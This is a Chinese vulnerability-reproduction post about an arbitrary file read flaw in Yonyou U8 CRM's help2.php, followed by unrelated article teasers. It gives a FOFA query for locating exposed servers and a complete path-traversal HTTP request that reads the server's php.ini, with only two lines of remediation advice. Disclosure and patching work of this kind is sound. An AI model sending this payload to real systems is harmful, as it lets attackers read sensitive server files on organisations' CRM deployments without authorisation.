用友U8+CRM help2 任意文件读取漏洞复现
0x01 产品简介
用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。
0x02 漏洞概述
用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服务器敏感信息。
0x03 复现环境
FOFA：title="用友U8CRM"
0x04 漏洞复现
PoC
GET /pub/help2.php?key=/../../apache/php.ini HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
0x05 修复建议
关闭互联网暴露面或接口设置访问权限
升级至安全版本
相关文章：
用友U8+CRM help2 任意文件读取漏洞复现
0x01 产品简介 用友U8 CRM客户关系管理系统是一款专业的企业级CRM软件，旨在帮助企业高效管理客户关系、提升销售业绩和提供优质的客户服务。 0x02 漏洞概述 用友 U8 CRM客户关系管理系统 help2接口处存在任意文件读取漏洞，攻击者通过漏洞可以获取到服…...
freeRTOS实时操作系统学习笔记
温馨提示：点击图片查看大图更清晰 —————————————————————————————↑↑↑上方资源下载后可获取xmind原文件。 1、freeRTOS移植和配置脑图 2、内核源码学习...
解决虚拟机卡顿、卡死、待机后不动的情况（真实有效
本人环境： VM workstation 17.5 ubuntu 22.04 虚拟机配置：4核 4g issue： 出现开机卡死不动运行一段时间，可能半小时不到，就页面卡死不动经常需要关机重启才解决，可能没有解决 1.配置虚拟化引擎 这一步我称…...
【MybatisPlus快速入门】(3)SpringBoot整合MybatisPlus 之 Lombok插件安装及MybatisPlus分页代码示例
目录 1.Lombok1.1 步骤1:添加lombok依赖 2.2 步骤2:安装Lombok的插件1.3 步骤3:模型类上添加注解2 分页功能2.1 步骤1:调用方法传入参数获取返回值2.2步骤2:设置分页拦截器2.3 步骤3:运行测试程序 之前我们已学习MyBatisPlus在代码示例与MyBatisPlus的简介，在这一节…...
SpaceDesk如何连接平板/PC（生产力副屏）
1、下载安装 分为安卓端和PC端，两个设备都需要安装对应的软件。 SpaceDesk官网 https://link.zhihu.com/?targethttp%3A//spacedesk.net/ 需要魔法上网。安装过程比较简单，无脑下一步即可。 我已经把安装包准备好了，如果不想自己找&#…...
61.SVN版本控制系统
SVN（Subversion）是一种集中式版本控制系统，它有一个中央仓库用于存储代码库的完整历史记录。相对于分布式版本控制系统（例如 Git），SVN 不支持本地仓库。 一、SVN 安装。 （1）在windo…...
操作系统 内存管理篇
一.程序的装入和链接 装入方式： 链接方式： 二.进程的内存映像 三.内存的分配 1.连续分配 分配方式： 2.不连续分配 分页：页面大小一致 引入快表（和 cache 处理思路一致） 升级到二级页表 分段：…...
深度学习中用来训练的train.py 探究学习2.0（ 数据预处理）
数据预处理 下列代码为train.py中常见的一些数据处理方法 train_transform transforms.Compose([transforms.Resize((224, 224)),transforms.RandomVerticalFlip(),# 随机旋转，-45度到45度之间随机选transforms.RandomRotation(45),# 从中心开始裁剪transforms.C…...
vscode debug c++代码
需要提前写好CMakeLists.txt 在tasks.json中写好编译的步骤，即tasks，如cmake … 和make -j 在lauch.json中配置可执行文件的路径和需要执行tasks中的哪一个任务 具体步骤： 1.写好c代码和CMakeLists.txt 2.配置tasks.json 终端–>配置任务…...
HarmonyOS的功能及场景应用
一、基本介绍 鸿蒙HarmonyOS主要应用的设备包括智慧屏、平板、手表、智能音箱、IoT设备等。具体来说，鸿蒙系统是一款面向全场景(移动办公、运动健康、社交通信、媒体娱乐等)的分布式操作系统，能够支持手机、平板、智能穿戴、智慧屏、车机等多种终端设备…...
汽车级EEPROM 存储器 M24C64-DRMN3TP/K是电可擦除可编程只读存储器?它的功能特性有哪些?
M24C64-DRMN3TP/K是一款64 Kbit串行EEPROM汽车级设备，工作温度高达125C。符合汽车标准AEC-Q100 1级规定的极高可靠性。 该设备可通过一个高达1MHz的简单串行I2C兼容接口访问。 存储器阵列基于先进的真EEPROM技术（电可擦除可编程存储器）。M2…...
VS Code无法远程ubuntu
①windows下cmd中执行命令： ssh-keygen -t rsa -C "xxxxxx.com" ②ubuntu 下bash 命令 ssh-keygen -t rsa -C "xxxxxx.com" ③cat id_rsa.pub >> ~/.ssh/authorized_keys ④ C:\Users\Administrator\AppData\Roaming\Code\User\set…...
大数据开发职业规划
大数据开发职业规划 我的学历是双非本，在学校学习的是大数据专业，目前是在企业做大数据全栈的工作，爬虫，数仓，风控项目，etl开发都做 .................................................................…...
XxIJob入门-示例
一、部署 xxlJob (一) 下载地址， git clone 到本地。 http://gitee.com/xuxueli0323/xxl-job https://github.com/xuxueli/xxl-job (二) 插入 xxl_job 的sql脚本： 在项目的 /xxl-job/doc/db/tables_xxl_job.sql ，找到sql脚本，…...
单挑力扣（LeetCode）SQL题：1549. 每件商品的最新订单（难度：中等）
相信很多学习SQL的小伙伴都面临这样的困境，学习完书本上的SQL基础知识后，一方面想测试下自己的水平；另一方面想进一步提升，却不知道方法。 其实，对于技能型知识，我的观点一贯都是：多练习、多实…...
Javacv-利用Netty实现推流直播复用（flv）
前言 上一篇文章《JavaCV之rtmp推流（FLV和M3U8）》介绍了javacv的基本使用，今天来讲讲如何实现推流复用。 以监控摄像头的直播为例，通常分为三步： 从设备获取音视频流利用javacv进行解码（例如flv或m3u8&am…...
cfa一级考生复习经验分享系列（十一）
理工科已经毕业，正在工作，毫无金融背景。一共准备了四个月，每天下班和周末抽时间看看。前三个月节奏比较松散，毕竟时不时有人叫我出去high，最后一个月认真看了看。 用到的资料 JC网课，官方Mock，…...
Nginx基本配置内容
http 模块适用于处理 Web 请求，而 stream 模块适用于处理非 HTTP 流量，如数据库连接、邮件传输等。 在 stream 模块中，你可以配置一些 TCP 或 UDP 的代理服务，以便 Nginx 能够转发这些流量。 与网站相关的 关于网站相关的要写在ht…...
Jenkins安装与设置(插件安装失败，版本问题解决）
早期的使用docker安装jenkins的方法会出现插件无法安装的问题，是由于docker拉取的jenkins版本太低了 jdk安装 Linux系统安装JDK1.8 详细流程 maven安装： centos7下安装Maven 使用docker进行安装jenkins： 先把镜像和容器卸干净 docker ps -a…...
精度提升10个点！HD-Painter:无需训练的文本引导高分辨率图像修复方案！
基于文本到图像扩散模型的空前成功，在文本引导的图像修复方面取得了最新进展，取得了异常逼真和视觉上可靠的结果。然而，目前的文本到图像修复模型仍然存在显著的改进潜力，特别是在更好地与用户提示对齐和执行高分辨率修复方面。因…...
)
保姆级教程：用PennyLane和泰坦尼克号数据集，5分钟上手你的第一个量子分类器(VQC)
量子机器学习实战：用PennyLane构建泰坦尼克号生存预测模型 量子计算正从实验室走向实际应用，而量子机器学习作为交叉领域的前沿方向，为传统算法提供了新的可能性。本文将带您用PennyLane框架，在经典数据集上完成一次完整的量子分类…...
钱学森物理大一统：宇宙速度阶梯尺 全套公版正式文档（带可计算代码）
宇宙速度阶梯尺 全套公版正式文档 （无版权全开源全民通用可直接印刷发布/平台投稿/社区分发） 开篇总纲 定名：本源速度阶梯尺 核心主旨：大道至简，以地球天然标准音速为万物速度本源基底，以宇宙真空光速为速度…...
TSL2561高精度光照传感器在可穿戴设备中的集成与应用指南
1. 项目概述：为可穿戴设备注入“视觉”在智能硬件和物联网项目里，让设备“看见”环境光，是实现人机环境智能交互的第一步。无论是根据环境亮度自动调节屏幕的智能手表，还是能感知昼夜变化自动调整工作模式的园艺监测设备ÿ…...
Figma中文汉化终极指南：3分钟实现高效专业设计界面
Figma中文汉化终极指南：3分钟实现高效专业设计界面 【免费下载链接】figmaCN 中文 Figma 插件，设计师人工翻译校验 项目地址: https://gitcode.com/gh_mirrors/fi/figmaCN 还在为Figma的英文界面而烦恼吗？作为中文设计师，你…...
Steam创意工坊模组下载终极指南：轻松获取1000+游戏模组的完整解决方案
Steam创意工坊模组下载终极指南：轻松获取1000游戏模组的完整解决方案 【免费下载链接】WorkshopDL WorkshopDL - The Best Steam Workshop Downloader 项目地址: https://gitcode.com/gh_mirrors/wo/WorkshopDL 还在为无法下载Steam创意工坊模组而烦恼吗&…...
IRISMAN：解锁PS3游戏管理的全能备份管理器，如何让它成为你的终极游戏管家？
IRISMAN：解锁PS3游戏管理的全能备份管理器，如何让它成为你的终极游戏管家？ 【免费下载链接】IRISMAN All-in-one backup manager for PlayStation3. Fork of Iris Manager. 项目地址: https://gitcode.com/gh_mirrors/ir/IRISMAN IRIS…...
技能管理框架skill-mix：用YAML与声明式配置构建可量化技能体系
1. 项目概述与核心价值最近在梳理团队的知识库和技能树时，我又一次深刻体会到，一个清晰、可量化、可追踪的技能管理体系对个人成长和团队效能有多重要。无论是作为技术负责人评估团队战斗力，还是作为一线开发者规划自己的学习路径，…...
Mac用户必看：彻底解决NTFS读写难题的终极免费方案
Mac用户必看：彻底解决NTFS读写难题的终极免费方案 【免费下载链接】Free-NTFS-for-Mac Nigate: An open-source NTFS utility for Mac. It supports all Mac models (Intel and Apple Silicon), providing full read-write access, mounting, and management for NT…...
VTube Studio终极指南：30分钟快速打造专业虚拟主播形象
VTube Studio终极指南：30分钟快速打造专业虚拟主播形象 【免费下载链接】VTubeStudio VTube Studio API Development Page 项目地址: https://gitcode.com/gh_mirrors/vt/VTubeStudio 想要开启虚拟主播之旅，却被复杂的技术门槛吓退？VT…...
Midjourney后印象派风格实战手册（2024最新版）：从模糊描述到博物馆级输出的9类失效提示词避坑清单
更多请点击： https://intelliparadigm.com 第一章：后印象派风格的本质解构与Midjourney语义映射 后印象派并非单一技法流派，而是一场以主观表达重构视觉真实性的认知革命。其核心在于色彩的情感自主性、形体的结构性简化，以及空间…...